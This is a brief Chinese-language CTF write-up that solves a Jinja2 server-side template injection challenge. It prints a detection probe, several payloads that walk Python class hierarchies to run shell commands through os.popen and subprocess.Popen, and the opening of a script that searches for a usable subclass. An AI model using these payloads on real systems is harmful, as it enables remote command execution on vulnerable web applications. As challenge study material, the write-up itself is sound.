考点
jinja2的ssti注入
解题过程
打开
在源代码中
通过下面payload判断是否存在模板注入
1 | ?search={{4*4}} |
确定漏洞类型
存在模板注入
试了常规的命令执行payload,发现都是返回500服务器错误。
1 | {{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}} |
1 | {% for c in [].__class__.__base__.__subclasses__() %} |
无奈之下,找到一名大师傅写的脚本
1 | import requests |
这个脚本的功能是查找可以执行命令的类,查找条件subprocess.Popen。
接下来通过大师傅给的payload
1 | ?search={{''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}} |
成功打通。
总结
对模板注入还不够了解,不会构造payload,更不会bypass,只能拿着别人的payload或者工具来做题,这类题得多做,payload要会自己构造。